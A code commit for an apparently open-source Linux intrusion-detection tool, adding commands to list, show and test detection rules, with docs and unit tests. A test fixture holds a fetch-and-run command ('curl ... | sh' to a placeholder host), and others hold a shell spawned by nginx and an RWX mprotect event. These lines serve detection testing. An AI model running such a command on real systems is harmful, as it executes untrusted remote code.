Add event rule inspection commands

CLAUDE.md

@@ -55,6 +55,8 @@ Implemented investigation/response state:
 - `respond plan <incident-id>` builds read-only containment/recovery plans,
   persists CLI-generated plans under `response-plans/`, and appends
   `response-audit.log`. Dashboard/API plan previews do not write artifacts.
+- `rules list/show/test` exposes built-in and configured event rules and lets
+  operators test exec/syscall event JSON fixtures against the rule engines.
 - IPS behavior is currently explicit workflow: posture hardening plus reviewed
   dry-run containment actions. There is no automatic inline blocking or silent
   host mutation yet.
@@ -63,7 +65,7 @@ Near-term open work:
 
 - Audited `--apply` response execution with tests and rollback notes.
 - Baseline reconciliation for legitimate FIM/package/listener/SUID drift.
-- Rule inspection/test commands and generated rule documentation.
+- Generated rule documentation from source defaults and red-team drill mapping.
 - More event sources and correlation across exec, network, persistence, FIM,
   and rootcheck signals.
 - Stable schema compatibility tests for alerts, incidents, status, response
@@ -137,6 +139,7 @@ python3 -m enodia_sentinel.cli rootcheck
 python3 -m enodia_sentinel.cli posture check --json
 python3 -m enodia_sentinel.cli incident list
 python3 -m enodia_sentinel.cli respond plan <incident-id> --json
+python3 -m enodia_sentinel.cli rules list
 python3 -m enodia_sentinel.cli web
 ```
 

README.md

@@ -97,6 +97,13 @@ coverage for RWX `mprotect`/`mmap` (`100060`/`100061`), `memfd_create`
 (`100062`), sensitive `ptrace` (`100063`), seccomp hardening (`100064`),
 cross-process memory access (`100065`), and memory locking (`100066`).
 Operators add custom exec rules via `exec_rules_file` without touching code.
+They can inspect and test the active event rule set with:
+
+```bash
+enodia-sentinel rules list
+enodia-sentinel rules show 100002
+enodia-sentinel rules test event.json
+```
 
 The layer is **fail-safe**: if `bcc`/root/BTF aren't available it logs the
 reason and the daemon runs poll-only — a broken probe can never take detection
@@ -107,7 +114,7 @@ framing (and the queued FIM / hidden-process checks) from **OSSEC**.
 
 ```
 enodia_sentinel/
-├── cli.py            run / check / baseline / list-detectors
+├── cli.py            run / check / baseline / rules / list-detectors
 ├── daemon.py         sweep loop · cooldown dedup · backgrounded SUID scan
 ├── system.py         SystemState — one cached snapshot of /proc + ss per sweep
 ├── snapshot.py       forensic text+JSON capture · response guidance · retention

docs/COMMAND_REFERENCE.md

@@ -65,6 +65,57 @@ enodia-sentinel list-detectors
 
 Prints the poll detectors and whether each is enabled by config.
 
+### `rules`
+
+```bash
+enodia-sentinel rules list
+enodia-sentinel rules list --json
+enodia-sentinel rules show <sid>
+enodia-sentinel rules show <sid> --json
+enodia-sentinel rules test <event-json>
+enodia-sentinel rules test <event-json> --json
+```
+
+Inspects and tests event-driven detection rules without reading source code.
+`rules list` includes built-in exec/syscall rules plus configured exec rules
+from `exec_rules_file`. `rules show <sid>` prints the rule metadata and match
+conditions. `rules test <event-json>` loads an exec or syscall event JSON file,
+runs the matching rule engine, and prints any alerts that would fire. Use `-`
+instead of a path to read the event JSON from stdin.
+
+Exec event JSON shape:
+
+```json
+{
+  "pid": 42,
+  "ppid": 1,
+  "uid": 1000,
+  "parent_comm": "nginx",
+  "filename": "/bin/sh",
+  "argv": ["-c", "id"]
+}
+```
+
+Syscall event JSON shape:
+
+```json
+{
+  "pid": 42,
+  "ppid": 1,
+  "uid": 1000,
+  "comm": "payload",
+  "syscall": "mprotect",
+  "args": [0, 4096, 6, 0, 0, 0]
+}
+```
+
+Exit code:
+
+- `0`: list/show succeeded, or `rules test` matched at least one rule.
+- `1`: unknown sid for `show`, or no rule matched for `test`.
+- `2`: malformed sid, missing target, unreadable JSON, or unsupported event
+  shape.
+
 ### `rootcheck`
 
 ```bash

docs/ROADMAP.md

@@ -156,10 +156,10 @@ Exit criteria:
 Purpose: make detection coverage easier to audit, tune, and extend without
 turning Sentinel into a noisy rules dump.
 
-- Add `enodia-sentinel rules list` and `rules show <sid>` for built-in and
+- ✅ Add `enodia-sentinel rules list` and `rules show <sid>` for built-in and
   configured rules.
-- Add `enodia-sentinel rules test <event-json>` so operators can validate custom
-  event rules against captured or fixture events.
+- ✅ Add `enodia-sentinel rules test <event-json>` so operators can validate
+  custom event rules against captured or fixture events.
 - Generate rule documentation from source defaults: SID, signature, classtype,
   event type, match fields, expected false positives, and drill coverage.
 - Require a fixture or safe red-team drill for every built-in SID, including

enodia_sentinel/cli.py

@@ -61,6 +61,14 @@ def main(argv: list[str] | None = None) -> int:
     sub.add_parser("check", help="run detectors once and print alerts")
     sub.add_parser("baseline", help="rebuild listener/SUID baselines")
     sub.add_parser("list-detectors", help="list available detectors")
+    rules = sub.add_parser("rules",
+                           help="list/show/test built-in and configured rules")
+    rules.add_argument("action", nargs="?", default="list",
+                       choices=["list", "show", "test"],
+                       help="rule action (default: list)")
+    rules.add_argument("target", nargs="?",
+                       help="sid for show, event JSON path for test, or '-'")
+    rules.add_argument("--json", action="store_true", help="emit JSON")
     sub.add_parser("web", help="serve the read-only dashboard")
     sub.add_parser("triage", help="classify captured alerts as likely-FP vs review")
     sub.add_parser("fim-baseline", help="build the file-integrity baseline")
@@ -112,6 +120,8 @@ def main(argv: list[str] | None = None) -> int:
             mark = "on " if cfg.enabled(det.name) else "off"
             print(f"  [{mark}] {det.name}")
         return 0
+    if args.cmd == "rules":
+        return _cmd_rules(cfg, args.action, args.target, args.json)
     if args.cmd == "baseline":
         return _cmd_baseline(cfg)
     if args.cmd == "check":
@@ -154,6 +164,74 @@ def main(argv: list[str] | None = None) -> int:
     return _cmd_run(cfg)
 
 
+def _cmd_rules(cfg: Config, action: str, target: str | None,
+               as_json: bool) -> int:
+    import json
+
+    from . import ruleops
+
+    if action == "list":
+        rules = ruleops.list_rules(cfg)
+        if as_json:
+            print(json.dumps(rules, indent=2))
+            return 0
+        print(f"{'SID':<7} {'EVENT':<8} {'ORIGIN':<10} {'SEV':<9} "
+              f"{'CLASSTYPE':<24} MESSAGE")
+        for r in rules:
+            print(f"{r['sid']:<7} {r['event']:<8} {r['origin']:<10} "
+                  f"{r['severity']:<9} {r['classtype']:<24} {r['msg']}")
+        return 0
+
+    if action == "show":
+        if not target:
+            print("error: 'rules show' needs a sid", file=sys.stderr)
+            return 2
+        try:
+            sid = int(target)
+        except ValueError:
+            print(f"error: invalid sid: {target}", file=sys.stderr)
+            return 2
+        rule = ruleops.find_rule(cfg, sid)
+        if rule is None:
+            print(f"error: no such rule sid: {sid}", file=sys.stderr)
+            return 1
+        if as_json:
+            print(json.dumps(rule, indent=2))
+            return 0
+        print(f"Rule {rule['sid']} [{rule['severity']}] {rule['signature']}")
+        print(f"  event:     {rule['event']}")
+        print(f"  origin:    {rule['origin']}")
+        print(f"  classtype: {rule['classtype']}")
+        print(f"  message:   {rule['msg']}")
+        print("  conditions:")
+        for key, value in rule["conditions"].items():
+            print(f"    {key}: {value}")
+        return 0
+
+    if action == "test":
+        if not target:
+            print("error: 'rules test' needs an event JSON path or '-'",
+                  file=sys.stderr)
+            return 2
+        try:
+            alerts = ruleops.test_event(cfg, ruleops.load_event_json(target))
+        except (OSError, ValueError, json.JSONDecodeError) as exc:
+            print(f"error: cannot test event: {exc}", file=sys.stderr)
+            return 2
+        if as_json:
+            print(json.dumps([a.to_dict() for a in alerts], indent=2))
+            return 0 if alerts else 1
+        if not alerts:
+            print("No rules matched.")
+            return 1
+        for a in alerts:
+            print(f"[{a.severity}] sid={a.sid} {a.signature} {a.detail}")
+        return 0
+
+    print(f"error: unsupported rules action: {action}", file=sys.stderr)
+    return 2
+
+
 def _cmd_watchdog(cfg: Config, url: str, token: str, max_age: int,
                   verify_tls: bool = True) -> int:
     from . import notify

enodia_sentinel/ruleops.py

@@ -0,0 +1,145 @@
+# SPDX-License-Identifier: GPL-3.0-or-later
+"""Operator-facing helpers for inspecting and testing detection rules."""
+from __future__ import annotations
+
+import json
+from pathlib import Path
+from typing import Any
+
+from .alert import Alert
+from .config import Config
+from .events.exec_event import ExecEvent
+from .events.rules import DEFAULT_EXEC_RULES, ExecRule, ExecRuleEngine
+from .events.syscall_event import SyscallEvent
+from .events.syscall_rules import (
+    DEFAULT_SYSCALL_RULES,
+    SyscallRule,
+    SyscallRuleEngine,
+)
+
+
+def list_rules(cfg: Config) -> list[dict[str, Any]]:
+    """Return built-in and configured event rules as stable dictionaries."""
+    exec_builtin = {r.sid for r in DEFAULT_EXEC_RULES}
+    syscall_builtin = {r.sid for r in DEFAULT_SYSCALL_RULES}
+    records = [
+        _exec_rule_record(r, "builtin" if r.sid in exec_builtin else "configured")
+        for r in ExecRuleEngine.load(cfg.exec_rules_file).rules
+    ]
+    records.extend(
+        _syscall_rule_record(r, "builtin" if r.sid in syscall_builtin else "configured")
+        for r in SyscallRuleEngine().rules
+    )
+    return sorted(records, key=lambda r: (int(r["sid"]), str(r["event"])))
+
+
+def find_rule(cfg: Config, sid: int) -> dict[str, Any] | None:
+    for record in list_rules(cfg):
+        if record["sid"] == sid:
+            return record
+    return None
+
+
+def load_event_json(path: str) -> dict[str, Any]:
+    if path == "-":
+        import sys
+        return json.loads(sys.stdin.read())
+    return json.loads(Path(path).read_text())
+
+
+def test_event(cfg: Config, event: dict[str, Any]) -> list[Alert]:
+    kind = _event_kind(event)
+    if kind == "exec":
+        return list(ExecRuleEngine.load(cfg.exec_rules_file).match(_exec_event(event)))
+    if kind == "syscall":
+        return list(SyscallRuleEngine().match(_syscall_event(event)))
+    raise ValueError("event JSON must be an exec or syscall event")
+
+
+def _exec_rule_record(rule: ExecRule, origin: str) -> dict[str, Any]:
+    conditions: dict[str, Any] = {}
+    if rule.path_prefixes:
+        conditions["path_prefixes"] = list(rule.path_prefixes)
+    if rule.exec_comm:
+        conditions["exec_comm"] = sorted(rule.exec_comm)
+    if rule.parent_comm:
+        conditions["parent_comm"] = sorted(rule.parent_comm)
+    if rule.argv_regex:
+        conditions["argv_regex"] = rule.argv_regex
+    if rule.parent_exclude:
+        conditions["parent_exclude"] = sorted(rule.parent_exclude)
+    return {
+        "sid": rule.sid,
+        "event": "exec",
+        "origin": origin,
+        "severity": str(rule.severity),
+        "classtype": rule.classtype,
+        "signature": f"exec_rule.{rule.classtype}",
+        "msg": rule.msg,
+        "conditions": conditions,
+    }
+
+
+def _syscall_rule_record(rule: SyscallRule, origin: str) -> dict[str, Any]:
+    return {
+        "sid": rule.sid,
+        "event": "syscall",
+        "origin": origin,
+        "severity": str(rule.severity),
+        "classtype": rule.classtype,
+        "signature": f"syscall_rule.{rule.classtype}",
+        "msg": rule.msg,
+        "conditions": {
+            "syscalls": sorted(rule.syscalls),
+            "predicate": "built-in predicate",
+        },
+    }
+
+
+def _event_kind(event: dict[str, Any]) -> str:
+    explicit = str(event.get("event") or event.get("type") or "").lower()
+    if explicit in {"exec", "execve"}:
+        return "exec"
+    if explicit in {"syscall", "sys"}:
+        return "syscall"
+    if "filename" in event or "argv" in event or "parent_comm" in event:
+        return "exec"
+    if "syscall" in event or "args" in event:
+        return "syscall"
+    return ""
+
+
+def _exec_event(event: dict[str, Any]) -> ExecEvent:
+    return ExecEvent(
+        pid=_to_int(event.get("pid", 0)),
+        ppid=_to_int(event.get("ppid", 0)),
+        uid=_to_int(event.get("uid", 0)),
+        parent_comm=str(event.get("parent_comm", "")),
+        filename=str(event.get("filename", "")),
+        argv=tuple(str(a) for a in event.get("argv", ())),
+    )
+
+
+def _syscall_event(event: dict[str, Any]) -> SyscallEvent:
+    args = list(event.get("args", ()))
+    args.extend([0] * (6 - len(args)))
+    return SyscallEvent(
+        pid=_to_int(event.get("pid", 0)),
+        ppid=_to_int(event.get("ppid", 0)),
+        uid=_to_int(event.get("uid", 0)),
+        comm=str(event.get("comm", "")),
+        syscall=str(event.get("syscall", "")),
+        arg0=_to_int(event.get("arg0", args[0])),
+        arg1=_to_int(event.get("arg1", args[1])),
+        arg2=_to_int(event.get("arg2", args[2])),
+        arg3=_to_int(event.get("arg3", args[3])),
+        arg4=_to_int(event.get("arg4", args[4])),
+        arg5=_to_int(event.get("arg5", args[5])),
+        text=str(event.get("text", "")),
+    )
+
+
+def _to_int(value: Any) -> int:
+    if isinstance(value, str):
+        return int(value, 0)
+    return int(value)

tests/test_ruleops.py

@@ -0,0 +1,128 @@
+# SPDX-License-Identifier: GPL-3.0-or-later
+import io
+import json
+import os
+import tempfile
+import unittest
+from contextlib import redirect_stdout
+from pathlib import Path
+
+from enodia_sentinel import ruleops
+from enodia_sentinel.cli import main
+from enodia_sentinel.config import Config
+
+
+class TestRuleOps(unittest.TestCase):
+    def test_lists_builtin_exec_and_syscall_rules(self):
+        rules = ruleops.list_rules(Config())
+        sids = {r["sid"] for r in rules}
+        self.assertIn(100001, sids)
+        self.assertIn(100060, sids)
+        exec_rule = next(r for r in rules if r["sid"] == 100002)
+        self.assertEqual(exec_rule["event"], "exec")
+        self.assertIn("argv_regex", exec_rule["conditions"])
+
+    def test_configured_exec_rule_is_listed(self):
+        with tempfile.TemporaryDirectory() as d:
+            path = Path(d) / "rules.toml"
+            path.write_text("""
+[[exec_rules]]
+sid = 199999
+msg = "test custom rule"
+severity = "HIGH"
+classtype = "custom-test"
+exec_comm = ["id"]
+""")
+            cfg = Config()
+            cfg.exec_rules_file = str(path)
+            rule = ruleops.find_rule(cfg, 199999)
+            self.assertIsNotNone(rule)
+            self.assertEqual(rule["origin"], "configured")
+            self.assertEqual(rule["conditions"]["exec_comm"], ["id"])
+
+    def test_matches_exec_event_json(self):
+        cfg = Config()
+        event = {
+            "pid": 42,
+            "ppid": 1,
+            "uid": 1000,
+            "parent_comm": "bash",
+            "filename": "/bin/sh",
+            "argv": ["-c", "curl http://example.invalid/x | sh"],
+        }
+        alerts = ruleops.test_event(cfg, event)
+        self.assertIn(100004, {a.sid for a in alerts})
+
+    def test_matches_syscall_event_json(self):
+        cfg = Config()
+        event = {
+            "pid": 42,
+            "ppid": 1,
+            "uid": 1000,
+            "comm": "payload",
+            "syscall": "mprotect",
+            "args": [0, 4096, "0x6", 0, 0, 0],
+        }
+        alerts = ruleops.test_event(cfg, event)
+        self.assertIn(100060, {a.sid for a in alerts})
+
+
+class TestRulesCli(unittest.TestCase):
+    def setUp(self):
+        self.dir = tempfile.TemporaryDirectory()
+        os.environ["ENODIA_LOG_DIR"] = self.dir.name
+        self.tmp = Path(self.dir.name)
+
+    def tearDown(self):
+        os.environ.pop("ENODIA_LOG_DIR", None)
+        self.dir.cleanup()
+
+    def _run(self, *args):
+        buf = io.StringIO()
+        with redirect_stdout(buf):
+            code = main(["rules", *args])
+        return code, buf.getvalue()
+
+    def test_list_json(self):
+        code, out = self._run("list", "--json")
+        self.assertEqual(code, 0)
+        rules = json.loads(out)
+        self.assertIn(100001, {r["sid"] for r in rules})
+
+    def test_show_text(self):
+        code, out = self._run("show", "100060")
+        self.assertEqual(code, 0)
+        self.assertIn("Rule 100060", out)
+        self.assertIn("syscall", out)
+
+    def test_test_event_file(self):
+        event = self.tmp / "event.json"
+        event.write_text(json.dumps({
+            "pid": 42,
+            "ppid": 1,
+            "uid": 1000,
+            "parent_comm": "nginx",
+            "filename": "/bin/sh",
+            "argv": ["-c", "id"],
+        }))
+        code, out = self._run("test", str(event))
+        self.assertEqual(code, 0)
+        self.assertIn("sid=100003", out)
+
+    def test_test_no_match_is_exit_one(self):
+        event = self.tmp / "event.json"
+        event.write_text(json.dumps({
+            "pid": 42,
+            "ppid": 1,
+            "uid": 1000,
+            "parent_comm": "bash",
+            "filename": "/usr/bin/true",
+            "argv": [],
+        }))
+        code, out = self._run("test", str(event))
+        self.assertEqual(code, 1)
+        self.assertIn("No rules matched", out)
+
+
+if __name__ == "__main__":
+    unittest.main()